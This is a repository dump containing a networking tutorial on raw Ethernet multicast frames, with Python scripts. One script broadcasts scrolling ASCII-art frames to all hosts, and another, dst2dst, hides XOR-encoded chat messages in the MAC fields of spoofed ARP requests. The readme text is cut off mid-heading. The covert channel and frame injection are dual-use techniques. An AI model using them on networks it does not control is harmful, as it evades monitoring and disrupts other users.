[
  {
    "path": "README.md",
    "content": "# protocols"
  },
  {
    "path": "broadcast_brujeria/dst2dst/dst2dst.py",
    "content": "import threading\nfrom socket import *\nimport sys\nimport argparse\nimport random\nimport binascii\n\ninterface = \"eth0\" # Change to your interface\n\nparser = argparse.ArgumentParser(description='dst2dst')\nparser.add_argument('-m', dest='inMac', help='This is the source mac you will use')\n\n# Transmit\nt = socket(AF_PACKET, SOCK_RAW)\nt.bind((interface, 0))\n# Receive\nr = socket( AF_PACKET, SOCK_RAW, ntohs(0x0003))\nmsgBufz = {} # These are buffers for tracking messages\n\ndef getChecksum(inData):\n    b = inData[0]+inData[1]+inData[2]+inData[3]\n    c = b % 256\n    return c\n\ndef encodeMessage(inData):\n    # What we are generating\n    # ┌─eth.dst───────┐\n    # 01 02 03 04 05 06\n    # │  │  └─────────┴ XOR'd Data\n    # │  └───────────── Checksum - Sum of the data bytes, which is XOR'd with the Key\n    # └──────────────── XOR Key\n    msgSeed = random.randrange(0,256)\n    msgSeed = msgSeed | 1 # Ensure the bottom bit is always set\n    msgBuf  = b\"\"\n    csum = getChecksum(inData)\n    msgBuf += bytes([msgSeed])        # eth.dst[0]\n    msgBuf += bytes([msgSeed ^ csum]) # eth.dst[1]\n    msgBuf += bytes([( ( msgBuf[1] + csum ) % 256 ) ^ inData[0]]) # eth.dst[2]\n    msgBuf += bytes([( ( msgBuf[2] + csum ) % 256 ) ^ inData[1]]) # eth.dst[3]\n    msgBuf += bytes([( ( msgBuf[3] + csum ) % 256 ) ^ inData[2]]) # eth.dst[4]\n    msgBuf += bytes([( ( msgBuf[4] + csum ) % 256 ) ^ inData[3]]) # eth.dst[5]\n    return msgBuf\n\ndef decodeMessage(inData,esrc):\n    # What we are decoding\n    # ┌─eth.dst───────┐\n    # 01 02 03 04 05 06\n    # │  │  └─────────┴ XOR'd Data\n    # │  └───────────── Checksum - Sum of the data bytes, which is XOR'd with the Key\n    # └──────────────── XOR Key\n    csum = inData[0] ^ inData[1]\n    msgBuf = b\"\"\n    msgBuf += bytes([( ( inData[1] + csum ) % 256 ) ^ inData[2]])\n    msgBuf += bytes([( ( inData[2] + csum ) % 256 ) ^ inData[3]])\n    msgBuf += bytes([( ( inData[3] + csum ) % 256 ) ^ inData[4]])\n    msgBuf += bytes([( ( inData[4] + csum ) % 256 ) ^ inData[5]])\n    calcSum = getChecksum(msgBuf)\n    # If the checksums match, we should print!\n    if csum == calcSum:\n        if esrc not in msgBufz.keys():\n            msgBufz[esrc] = msgBuf\n        else:\n            msgBufz[esrc] += msgBuf\n        if b\"\\x00\" in msgBuf:\n            print(\"{} -- {}\".format(esrc, msgBufz[esrc].decode()))\n            msgBufz[esrc] = b\"\"\n\ndef rcv_message(inSock):\n    while True:\n        # What we need for our message\n        packet = r.recvfrom(65565)\n        packet = packet[0]\n        ethdst  = packet[0:6]\n        ethsrc  = packet[6:12].hex(':')\n        ethtype = packet[12:14] # We want to check if this is our type\n        if ethsrc == inMac:\n            continue\n        if ethtype == b\"\\x08\\x06\":\n            decodeMessage(ethdst,ethsrc) # Attempt to decode\n\ndef genMessage(inData,inSock,srcMac):\n    # //- Ethernet Header\n    pkt =  b\"\"\n    pkt += encodeMessage(inData)\n    pkt += srcMac\n    pkt += b\"\\x08\\x06\"                 # eth.type (ARP)\n    # //- ARP Message\n    pkt += b\"\\x00\\x01\"                 # arp.hw.type        -- Hardware Type: Ethernet\n    pkt += b\"\\x08\\x00\"                 # arp.proto.type     -- Protocol Type: IPv4\n    pkt += b\"\\x06\"                     # arp.hw.size        -- Hardware Size: 6\n    pkt += b\"\\x04\"                     # arp.proto.size     -- Protocol Size: 4\n    pkt += b\"\\x00\\x01\"                 # arp.opcode         -- Opcode: Request\n    pkt += b\"\\x00\\x11\\x22\\x33\\x44\\x55\" # arp.src.hw_mac     -- Source MAC Address\n    pkt += b\"\\x0a\\x00\\x01\\x0a\"         # arp.src.proto_ipv4 -- Source IP: 10.0.1.10\n    pkt += b\"\\x00\\x00\\x00\\x00\\x00\\x00\" # arp.dst.hw_mac     -- Target MAC Address\n    pkt += b\"\\x0a\\x00\\x01\\x0b\"         # arp.dst.proto_ipv4 -- Target IP: 10.0.1.11\n    \n    inSock.send(pkt)\n\ndef send_message(inSock,srcMacS):\n    srcMac = binascii.unhexlify(srcMacS.replace(':',''))\n    for line in sys.stdin:\n        msg = line.rstrip()\n        msg = msg.encode('latin-1')\n        padding = (len(msg) % 4) # Using this to calculate how many padding bytes are needed\n        if padding != 0:\n            msg += b\"\\x00\"*(4-padding) # Adds padding bytes if needed\n        else:\n            msg += b\"\\x00\\x00\\x00\\x00\" # This adds one null message at the end to signify the message is done\n        mlen = len(msg)\n        i = 0\n        while i < mlen:\n            chunk = msg[i:i+4]\n            genMessage(chunk,t,srcMac)\n            i = i+4\n        print(\"{} -- {}\".format(srcMacS, msg.decode()))\n\nif __name__ == \"__main__\":\n    args   = parser.parse_args()\n    inMac  = args.inMac\n\n    x = threading.Thread(target=rcv_message, args=(r,))\n    x.start()\n    y = threading.Thread(target=send_message, args=(t,inMac))\n    y.start()\n"
  },
  {
    "path": "broadcast_brujeria/ethscroll/ethscroll.py",
    "content": "from socket import *\n\n# ETHSCROLL.PY -- Should work on most routers\n\ninterface = \"eth0\" # Your network interface\n\nart = [\n  b\"                                            *  ** **  *************   **  *                                      \",\n  b\"                              ** **   ** **##*****###**#**###*****     *,     **      **                         \",\n  b\"                                 **  ******##@@@@@@@@@@@@@@@@####*##** **  *  ** **   **          Y R B H B N    \",\n  b\"                           . *,     *. ***###@@@@@@@@@@@@@@@@@@@@@@@@###*/*/**,.*,*****    .      O O E A Y E    \",\n  b\"                          *  ** **   ****#@@@    @@@@@@@@@@@@@@@@     @@@@#**##*##**********      U U E U   T    \",\n  b\"                           ,,  *. *****###%&      %&@@@@@@@@@@&&        @@@%#*/#**((*  ***,,      R T N N   S    \",\n  b\"                          *****#**#####@@@          @@@@@@@@            @@@@@@@#@@***###            E   T   P    \",\n  b\"                  ,,. , .,,.,,**/((//#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%#%@((((/##            R   E   O    \",\n  b\"                      *  ** **##*##**#@@@@@@@@@@@@@@@@@@@@@@@@@@@@##@@@@@@@@@@@@@#####*****         '   D   O    \",\n  b\"                    ***  *****#(*#(@@#@@@@@@@@###(*****           (#@@@@@@@@@@@@@@@###**#*****      S       K    \",\n  b\"                       **  *****#**##@@@@@@@@@@@##***            #@@@@###@@@@@@@@@@###******* **            Y    \",\n  b\"                       ****#@@@@@##@@@@@@@@@@@@@@@@##        ##@@@####@@@@@@@@##@@@@@#**#**                      \",\n  b\"                      *  **#@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@#@@@@#(#*****                    \",\n  b\"                      ***##@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@##(***  *                   \",\n  b\"                    ** ##@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@@##@@@#(@@@@@@@@@@@##@@#**#****                    \",\n  b\"                       ** ##@@@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@##@##@@@##@@@@@###@@#####***                   \",\n  b\"                         *##@@#@@@@@(#@@@@@##@@@@@@@@@@@@@@@@@@@@@##@##@@@##@@@@@##@@@@@###*                     \",\n  b\"                *  ***##@@#@@@@#@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@#@@##@@@##@@@##@@@##*##***                       \",\n  b\"                  *****##@@#@@@@#@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@##@@@##@##@@@##**#** **                      \",\n  b\"                  **   *****####*##**#####@@@@@@@@@@@@@@@@@@@@@@@@@@@@###@@@@@@@###**#**                         \",\n  b\"                      *  ** ****#*******##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###*****  *                        \",\n  b\"                        **      ****#**#(###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###**##***                          \",\n  b\"                               *  ***##**####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###**#**   **                     \",\n  b\"                   ** **  *       ***##*****######@@@@@@@@@@@@@@@@@@@@@@@@@@@@@######** ****                     \",\n  b\"                 ,,..,..**.*****....******((*((###@@&&&&&@@@@@@@@@@@@@@@@@@@@@@@##//(,,,                         \",\n  b\"                     *,**************    ****(#**(########(@@@@@@@@@@@@@@@@@@@@@###(#**#                         \",\n  b\"                   ,,.,,**,****,**,,*,,..*//(//((/((//(((**#((##&@@@@@@@@@@@@@@@@@%%###/**,,                     \",\n  b\"                      ,*       *  ** **********##*(#**#*****((**###@@@@@@@@@@@@@@@@@####**                       \",\n  b\"                   ..,               ..,...,*.,*******,**,,***((/(/###((%%#&&%%&%%&&%//(..  ,                    \",\n  b\"                                       ** ** ****     *  ** *******************###@@#***(#                       \",\n  b\"                                            .                        .  .,...   ,.**%//*.....                    \"\n]\n\ndef sendData(inData,inSock):\n    framee =  b\"\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\" # eth.dst\n    framee += b\"\\x42\\x4f\\x4f\\x21\\x21\\x21\" # eth.src\n    framee += b\"\\x00\\x00\" # eth.type\n    framee += inData \n    inSock.send(framee)\n\nx = 0  # The starting point in the scroll\ny = 16 # End of screen\n\ns = socket(AF_PACKET, SOCK_RAW)\ns.bind((interface, 0))\n\nfor i in range(len(art[0])):\n  out = b\"\"\n  for l in range(len(art)):\n    out += art[l][x:y]\n  sendData(out,s)\n  x = x+1 # Increment start\n  y = y+1 # Increment end\n  if y == len(art[0]):\n    break\n"
  },
  {
    "path": "broadcast_brujeria/ethscroll/ethscroll_min.py",
    "content": "from socket import *\n\n# ETHSCROLL_MIN.PY -- Works only on very permissive routers\n\ninterface = \"eth0\" # Your network interface\n\nart = [\n  b\"                                            *  ** **  *************   **  *                                      \",\n  b\"                              ** **   ** **##*****###**#**###*****     *,     **      **                         \",\n  b\"                                 **  ******##@@@@@@@@@@@@@@@@####*##** **  *  ** **   **          Y R B H B N    \",\n  b\"                           . *,     *. ***###@@@@@@@@@@@@@@@@@@@@@@@@###*/*/**,.*,*****    .      O O E A Y E    \",\n  b\"                          *  ** **   ****#@@@    @@@@@@@@@@@@@@@@     @@@@#**##*##**********      U U E U   T    \",\n  b\"                           ,,  *. *****###%&      %&@@@@@@@@@@&&        @@@%#*/#**((*  ***,,      R T N N   S    \",\n  b\"                          *****#**#####@@@          @@@@@@@@            @@@@@@@#@@***###            E   T   P    \",\n  b\"                  ,,. , .,,.,,**/((//#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%#%@((((/##            R   E   O    \",\n  b\"                      *  ** **##*##**#@@@@@@@@@@@@@@@@@@@@@@@@@@@@##@@@@@@@@@@@@@#####*****         '   D   O    \",\n  b\"                    ***  *****#(*#(@@#@@@@@@@@###(*****           (#@@@@@@@@@@@@@@@###**#*****      S       K    \",\n  b\"                       **  *****#**##@@@@@@@@@@@##***            #@@@@###@@@@@@@@@@###******* **            Y    \",\n  b\"                       ****#@@@@@##@@@@@@@@@@@@@@@@##        ##@@@####@@@@@@@@##@@@@@#**#**                      \",\n  b\"                      *  **#@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@#@@@@#(#*****                    \",\n  b\"                      ***##@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@##(***  *                   \",\n  b\"                    ** ##@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@@##@@@#(@@@@@@@@@@@##@@#**#****                    \",\n  b\"                       ** ##@@@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@##@##@@@##@@@@@###@@#####***                   \",\n  b\"                         *##@@#@@@@@(#@@@@@##@@@@@@@@@@@@@@@@@@@@@##@##@@@##@@@@@##@@@@@###*                     \",\n  b\"                *  ***##@@#@@@@#@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@#@@##@@@##@@@##@@@##*##***                       \",\n  b\"                  *****##@@#@@@@#@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@##@@@##@##@@@##**#** **                      \",\n  b\"                  **   *****####*##**#####@@@@@@@@@@@@@@@@@@@@@@@@@@@@###@@@@@@@###**#**                         \",\n  b\"                      *  ** ****#*******##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###*****  *                        \",\n  b\"                        **      ****#**#(###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###**##***                          \",\n  b\"                               *  ***##**####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###**#**   **                     \",\n  b\"                   ** **  *       ***##*****######@@@@@@@@@@@@@@@@@@@@@@@@@@@@@######** ****                     \",\n  b\"                 ,,..,..**.*****....******((*((###@@&&&&&@@@@@@@@@@@@@@@@@@@@@@@##//(,,,                         \",\n  b\"                     *,**************    ****(#**(########(@@@@@@@@@@@@@@@@@@@@@###(#**#                         \",\n  b\"                   ,,.,,**,****,**,,*,,..*//(//((/((//(((**#((##&@@@@@@@@@@@@@@@@@%%###/**,,                     \",\n  b\"                      ,*       *  ** **********##*(#**#*****((**###@@@@@@@@@@@@@@@@@####**                       \",\n  b\"                   ..,               ..,...,*.,*******,**,,***((/(/###((%%#&&%%&%%&&%//(..  ,                    \",\n  b\"                                       ** ** ****     *  ** *******************###@@#***(#                       \",\n  b\"                                            .                        .  .,...   ,.**%//*.....                    \"\n]\n\ndef sendData(inData,inSock):\n    framee = b\"\\x01\"\n    framee += b\"NETWORK ERROR!!\"\n    framee += inData \n    inSock.send(framee)\n\nx = 0  # The starting point in the scroll\ny = 16 # End of screen\n\ns = socket(AF_PACKET, SOCK_RAW)\ns.bind((interface, 0))\n\nfor i in range(len(art[0])):\n  out = b\"\"\n  for l in range(len(art)):\n    out += art[l][x:y]\n  sendData(out,s)\n  x = x+1 # Increment start\n  y = y+1 # Increment end\n  if y == len(art[0]):\n    break\n"
  },
  {
    "path": "broadcast_brujeria/readme.md",
    "content": "# Packets Remystified: Broadcast Brujería\n\n![image](https://user-images.githubusercontent.com/26436276/163653070-ad74a443-e0c1-4a29-9f59-1b9f20d3064e.png)\n\n## Introduction\n\nPacket analysis and other networking tasks are often given a bad rep as something difficult to approach, intimidating.\n\nThere are many reasons for this. Personally, the hardest thing was getting through the many layers of abstraction and loosely compatible jargon that are used to describe and implement the simple act of sending a few pulses down the wire to your loved ones.\n\nI wanted to write something to help cut through all of this, and give you the knowledge required to understand different ways of sending data. We will also explore ways to inject some magic back into everything.\n\nFor this writeup, I am using some Linux VMs, Python3, and Wireshark. No other fancy tools or libraries will be needed. All scripts will need to be run as root, so please keep that in mind and use a VM if you don't feel comfortable. You will want to be able to run Wireshark on at least two machines on the same network for this.\n\n## Briefly: How Do Packets Get From Here To There?\n\nWhen you clicked this link, your browser split your request into smaller chunks, and passed them to your operating system via a socket. The OS then figured out what it wanted to do with the data, and decided to send it to your network interface.\n\nBefore it could, the request data needed to be *encapsulated*. All this means is that a header is added to the data to assist in sending it to the correct location. Imagine wrapping a present and putting a label on it, and then wrapping that in more gift wrap with a different label. Here’s a diagram of how a payload gets wrapped in layers, and what the layers can be:\n\n![image](https://user-images.githubusercontent.com/26436276/163653102-f0d32489-5192-469a-a438-70c33736f73b.png)\n\nOnce the encapsulation was finished, the interface then received the data. The interface then sent the required electrical signals representing the request packet to your router for further processing.\n\nWhen the response containing the page contents was received, the router sent the packets to your machine. The process then happened again, but in reverse.\n\nTo process a packet, the OS figures out what driver is required to handle it. This can then lead to multiple levels of de-encapsulation before it finally gets back to your browser. Because this whole process is handled by drivers and kernel code, it allows users and applications to not have to worry about the details of the socket too much. This aids in developing network applications without having to reimplement all of the layers to support a given packet.\n\nNon-root users can open certain types of sockets arbitrarily. The limited number of types give the OS control over the TCP/IP or UDP/IP layers. To control these and other, lower layers, you need to be able to create RAW sockets.\n\n*For more info on sockets, check out the man pages for [socket(2)](https://man7.org/linux/man-pages/man2/socket.2.html) and [socket(7)](https://man7.org/linux/man-pages/man7/socket.7.html)*\n\nOne advantage to using raw sockets is that you don't need an OS level driver to handle packets for you. You are simply handed the entire frame to do what you want. The downside is needing root privs or special [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html).\n\n## **Briefly: How Do Packets Get From Here To Everywhere?**\n\nSometimes a device needs to send data to every host on the network, or groups of hosts. This is used for discovering other devices, getting information about the network, and advertising your goods and services. Protocols that can be used to talk to multiple devices at once are called multicast protocols. To use a multicast protocol, your client needs to send a packet to the router, which then sends a copy to everyone.\n\nHow does the router know what to forward though? Let's take a look at the [Ethernet](https://en.wikipedia.org/wiki/Ethernet) header, which is the first 14 bytes of most packets you will see in Wireshark.\n\n![image](https://user-images.githubusercontent.com/26436276/163653133-f67f47b8-1dbd-4df9-8755-da2a960423ed.png)\n\nThe bottom bit of the first byte of the eth.dst field, also known as the IG bit, is what's used to inform the router what type of frame is being sent. If this bit is set to 1, the router is supposed to forward the frame to everyone. You can use the Wireshark filter eth.dst.ig == 1 to see all of the multicast packets your computer has received.\n\n## What multicast protocols are there?\n\nMulticast protocols are actually quite common. If you open up Wireshark on your main network interface with the filter `eth.dst.ig == 1`, you will see things like:\n\n| Protocol | Protocol Stack | Description |\n| --- | --- | --- |\n| [ARP](https://datatracker.ietf.org/doc/html/rfc826) | Ethernet/ARP | Address Resolution Protocol. Used to negotiate IPs on a network. |\n| [MDNS](https://datatracker.ietf.org/doc/html/rfc6762)  | Ethernet/IP/UDP/MDNS | Multicast DNS. |\n| [SSDP](https://datatracker.ietf.org/doc/html/draft-cai-ssdp-v1-03) | Ethernet/IP/UDP/SSDP | Simple Service Discovery Protocol. Used to share information about running services. |\n| [IGMP](https://datatracker.ietf.org/doc/html/rfc2236) | Ethernet/IPv4/IGMP | Internet Group Management Protocol, used to manage multicast groups. |\n| LLDP | Ethernet/LLDP | Link Layer Discovery Protocol, used to broadcast info about a device to network peers. |\n\nMany multicast protocols use UDP and/or IP for transport. Since the packet is going to everyone, there is no need for the handshakes used by TCP/IP. When a protocol does use IP specifically, there are a number of multicast IP addresses that protocols can use. Some are tied to specific protocols, while others are generic ranges. There are also special multicast Ethernet addresses as well, which some routers may treat differently.\n\n- For IPv4: [https://www.iana.org/assignments/multicast-addresses/multicast-addresses.xhtml](https://www.iana.org/assignments/multicast-addresses/multicast-addresses.xhtml)\n- For IPv6: [https://www.iana.org/assignments/ipv6-multicast-addresses/ipv6-multicast-addresses.xhtml](https://www.iana.org/assignments/ipv6-multicast-addresses/ipv6-multicast-addresses.xhtml)\n- Wikipedia: [https://en.wikipedia.org/wiki/Multicast_address](https://en.wikipedia.org/wiki/Multicast_address)\n\nOther multicast protocols, such as ARP and LLDP, are purely Ethernet based, with their own ethertype. The [ethertype](https://en.wikipedia.org/wiki/EtherType) is one of the key pieces of info required to indicate how to process a given frame.\n\nWe use Ethernet protocols like ARP to figure out what IP addresses belong to who. Since the IP is generally known only by the router, to find out where to send IP based packets to, there needs to be a way to determine that on a lower network level. \n\nLet’s take a look at an ARP packet. This one is an ARP request for the MAC address associated with the IP 10.0.1.11, asking to return the info to 10.0.1.10.\n\n![image](https://user-images.githubusercontent.com/26436276/163653193-a3c78746-2944-409a-a773-d991573a6f77.png)\n\nThe first byte of `eth.dst` has the IG bit set. This is because the hex value 0xFF is all 1’s in binary. With the IG bit set, this message is forwarded by the router to everyone on the network. A device that knows what IP address is associated with that MAC address can respond. *(Technically [anyone can respond](https://en.wikipedia.org/wiki/ARP_spoofing) lol)*\n\n## **How can we send multicast messages?**\n\nLets try to send our own ARP message using Python. There are many ways to do this, but this approach gives you the most control and only relies on the [socket](https://docs.python.org/3/library/socket.html) library. First, you'll need your entire packet represented as bytes.\n\n> PROTIP: In wireshark, you can right click on the frame and select \"Copy>As Escaped String\" to give you strings for use in scripts.\n> \n\nAll we need to create a raw socket is to use the Python3 socket library with the appropriate flags to set up a raw socket. Then we `bind()` to the interface, and `send()` our buffer of escaped bytes to it.\n\nYou will need to change to the interface you want to send data over. You can use the command `ip a` to get a list of interfaces, MAC addresses, and IPs associated with your machine.\n\n```python\nfrom socket import *\n\ninterface = \"eth0\" # Change to your interface\n\n# //- Ethernet Header\npkt =  b\"\"\npkt += b\"\\xff\\xff\\xff\\xff\\xff\\xff\" # eth.dst\npkt += b\"\\x00\\x11\\x22\\x33\\x44\\x55\" # eth.src\npkt += b\"\\x08\\x06\"                 # eth.type (ARP)\n# //- ARP Message\npkt += b\"\\x00\\x01\"                 # arp.hw.type        -- Hardware Type: Ethernet\npkt += b\"\\x08\\x00\"                 # arp.proto.type     -- Protocol Type: IPv4\npkt += b\"\\x06\"                     # arp.hw.size        -- Hardware Size: 6\npkt += b\"\\x04\"                     # arp.proto.size     -- Protocol Size: 4\npkt += b\"\\x00\\x01\"                 # arp.opcode         -- Opcode: Request\npkt += b\"\\x00\\x11\\x22\\x33\\x44\\x55\" # arp.src.hw_mac     -- Source MAC Address\npkt += b\"\\x0a\\x00\\x01\\x0a\"         # arp.src.proto_ipv4 -- Source IP: 10.0.1.10\npkt += b\"\\x00\\x00\\x00\\x00\\x00\\x00\" # arp.dst.hw_mac     -- Target MAC Address\npkt += b\"\\x0a\\x00\\x01\\x0b\"         # arp.dst.proto_ipv4 -- Target IP: 10.0.1.11\n\ns = socket(AF_PACKET, SOCK_RAW)\ns.bind((interface, 0))\ns.send(pkt)\n```\n\nSave the script as arpsend.py and run\n\n```\n$ sudo python3 arpsend.py\n```\n\nThen check the output in Wireshark.\n\n![image](https://user-images.githubusercontent.com/26436276/163653212-8115c90c-d209-4d83-a189-4d239d312071.png)\n\nNow that we know how to send a raw frame and understand what multicast protocols are, lets see what else we can do!\n\n# Entering the Magic Circle\n\nThe next part of this writeup comes with a few important pieces of information.\n\nWhile writing this article, the scripts I developed were tested primarily on my laptop with two Linux VMs in VMware. With virtual machines, you can usually set up networking using a virtual interface. This can provide a way to send packets from your VM to the internet, and can also be used to create a virtual network that acts the same way as the network your host machine is on. Some of the examples here were developed with an extremely permissive interface, `vmnet`. This interface doesn’t have the same processing logic as other routers do, and throughout the writing of this article, I found that the behavior is actually quite finicky between router models. These differences will be recorded throughout the writeup.\n\nAll scripts that rely on a permissive router will have the suffix `_MIN` to indicate that it uses the minimum required features.\n\n## wall'd Garden\n\nYou might be thinking: What happens if you just send some random bytes to the router? Let's find out! First, comment out everything except the Ethernet header in the arpsend script and run it.\n\n![image](https://user-images.githubusercontent.com/26436276/163653231-277df8c8-e3f6-4a47-a632-88e9ca8dfd30.png)\n\nThe Ethernet header was sent, but nothing else! Wireshark was expecting the rest of the ARP packet because the `eth.type` was set to ARP, so it hit an error when it didn’t get the rest of the data. \n\nWe know that the first byte of the frame is important for the router, but what if we just put our own message after?\n\n```python\nfrom socket import *\n\ninterface = \"ens33\" # Change to your interface\n\n# //- Ethernet Header\npkt =  b\"\"\npkt += b\"\\xffhowdy\" # eth.dst\npkt += b\" hello\"    # eth.src\npkt += b\"!!\"        # eth.type\n\ns = socket(AF_PACKET, SOCK_RAW)\ns.bind((interface, 0))\ns.send(pkt)\n```\n\nRun the script and check Wireshark.\n\n![image](https://user-images.githubusercontent.com/26436276/163653249-08b90563-0cf1-422c-820b-0a77435f2b70.png)\n\nOur frame made it! We are only on our local version of Wireshark, do other computers see this too? Let's check out another VM on the same network as our host machine. Listen with Wireshark the other VM on the same virtual network and then run the script again.\n\n![image](https://user-images.githubusercontent.com/26436276/163653256-a5f8b78c-5593-423b-a80a-ee2600ca9a31.png)\n\nThe data was received, but now it has some extra padding at the end. An Ethernet II packet is supposed to have a 46 byte payload, plus the 14 byte header, resulting in a 60 byte packet. This is why the length here is 60 rather than 14, because the interface is receiving it from a remote host.\n\nThis was originally done to ensure that there was a minimum amount of signal on the wire to sense if a host was transmitting. This is part of the \"Carrier Sense\" aspect of [CSMA-CD](https://en.wikipedia.org/wiki/Carrier-sense_multiple_access_with_collision_detection), an early Ethernet implementation. This was also used for collision detection, the CD part of that acronym.\n\nOkay so now what? We can transmit pretty much anything as long as the lowest bit of the first byte is 1. What else can we send?\n\nThe easiest thing would be to just append a bunch of data after the first byte, kind of like a network-wide `wall` command. Since we are re-mystifying packets, lets make it interesting...\n\n## Scrolling Art\n\nA while back I wrote a script to create a Wireshark based [scroller](https://www.youtube.com/watch?v=QwSudydjRXc) within the hex dump of a packet. This relied on the packet structure and url remaining consistent, which is not always the case. If we did the same thing using an Ethernet protocol, it's more likely to be preserved, as well as take up the entire packet for a more menacing effect.\n\n```python\nfrom socket import *\n\ninterface = \"ens33\" # Your network interface\n\nart = [\n  b\"                                            *  ** **  *************   **  *                                      \",\n  b\"                              ** **   ** **##*****###**#**###*****     *,     **      **                         \",\n  b\"                                 **  ******##@@@@@@@@@@@@@@@@####*##** **  *  ** **   **          Y R B H B N    \",\n  b\"                           . *,     *. ***###@@@@@@@@@@@@@@@@@@@@@@@@###*/*/**,.*,*****    .      O O E A Y E    \",\n  b\"                          *  ** **   ****#@@@    @@@@@@@@@@@@@@@@     @@@@#**##*##**********      U U E U   T    \",\n  b\"                           ,,  *. *****###%&      %&@@@@@@@@@@&&        @@@%#*/#**((*  ***,,      R T N N   S    \",\n  b\"                          *****#**#####@@@          @@@@@@@@            @@@@@@@#@@***###            E   T   P    \",\n  b\"                  ,,. , .,,.,,**/((//#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%#%@((((/##            R   E   O    \",\n  b\"                      *  ** **##*##**#@@@@@@@@@@@@@@@@@@@@@@@@@@@@##@@@@@@@@@@@@@#####*****         '   D   O    \",\n  b\"                    ***  *****#(*#(@@#@@@@@@@@###(*****           (#@@@@@@@@@@@@@@@###**#*****      S       K    \",\n  b\"                       **  *****#**##@@@@@@@@@@@##***            #@@@@###@@@@@@@@@@###******* **            Y    \",\n  b\"                       ****#@@@@@##@@@@@@@@@@@@@@@@##        ##@@@####@@@@@@@@##@@@@@#**#**                      \",\n  b\"                      *  **#@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@#@@@@#(#*****                    \",\n  b\"                      ***##@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@##(***  *                   \",\n  b\"                    ** ##@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@@##@@@#(@@@@@@@@@@@##@@#**#****                    \",\n  b\"                       ** ##@@@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@##@##@@@##@@@@@###@@#####***                   \",\n  b\"                         *##@@#@@@@@(#@@@@@##@@@@@@@@@@@@@@@@@@@@@##@##@@@##@@@@@##@@@@@###*                     \",\n  b\"                *  ***##@@#@@@@#@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@#@@##@@@##@@@##@@@##*##***                       \",\n  b\"                  *****##@@#@@@@#@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@##@@@##@##@@@##**#** **                      \",\n  b\"                  **   *****####*##**#####@@@@@@@@@@@@@@@@@@@@@@@@@@@@###@@@@@@@###**#**                         \",\n  b\"                      *  ** ****#*******##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###*****  *                        \",\n  b\"                        **      ****#**#(###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###**##***                          \",\n  b\"                               *  ***##**####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###**#**   **                     \",\n  b\"                   ** **  *       ***##*****######@@@@@@@@@@@@@@@@@@@@@@@@@@@@@######** ****                     \",\n  b\"                 ,,..,..**.*****....******((*((###@@&&&&&@@@@@@@@@@@@@@@@@@@@@@@##//(,,,                         \",\n  b\"                     *,**************    ****(#**(########(@@@@@@@@@@@@@@@@@@@@@###(#**#                         \",\n  b\"                   ,,.,,**,****,**,,*,,..*//(//((/((//(((**#((##&@@@@@@@@@@@@@@@@@%%###/**,,                     \",\n  b\"                      ,*       *  ** **********##*(#**#*****((**###@@@@@@@@@@@@@@@@@####**                       \",\n  b\"                   ..,               ..,...,*.,*******,**,,***((/(/###((%%#&&%%&%%&&%//(..  ,                    \",\n  b\"                                       ** ** ****     *  ** *******************###@@#***(#                       \",\n  b\"                                            .                        .  .,...   ,.**%//*.....                    \"\n]\n\ndef sendData(inData,inSock):\n    framee = b\"\\x01\"\n    framee += b\"NETWORK ERROR!!\"\n    framee += inData \n    inSock.send(framee)\n\nx = 0  # The starting point in the scroll\ny = 16 # End of screen\n\ns = socket(AF_PACKET, SOCK_RAW)\ns.bind((interface, 0))\n\nfor i in range(len(art[0])):\n  out = b\"\"\n  for l in range(len(art)):\n    out += art[l][x:y]\n  sendData(out,s)\n  x = x+1 # Increment start\n  y = y+1 # Increment end\n  if y == len(art[0]):\n    break\n```\n\nRun the script and then check what was sent in Wireshark by scrolling down the list of captured packets. Run it on a monitored network to make a sysadmin laugh (or cry).\n\nPOC Video: [https://twitter.com/netspooky/status/1509230930011033608](https://twitter.com/netspooky/status/1509230930011033608)\n\nOn a lot of real world routers, this sort of thing won’t work, because the destination MAC address may be processed differently (we will get to that later). For now, this same effect can be achieved by simply using the universal broadcast MAC which is `FF:FF:FF:FF:FF:FF` in the `sendData` function. Your mileage may vary, so modify the script to make it work on your network.\n\n```python\ndef sendData(inData,inSock):\n    framee =  b\"\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\" # eth.dst\n    framee += b\"\\x42\\x4f\\x4f\\x21\\x21\\x21\" # eth.src\n    framee += b\"\\x00\\x00\" # eth.type\n    framee += inData \n    inSock.send(framee)\n```\n\n## 0x01 and 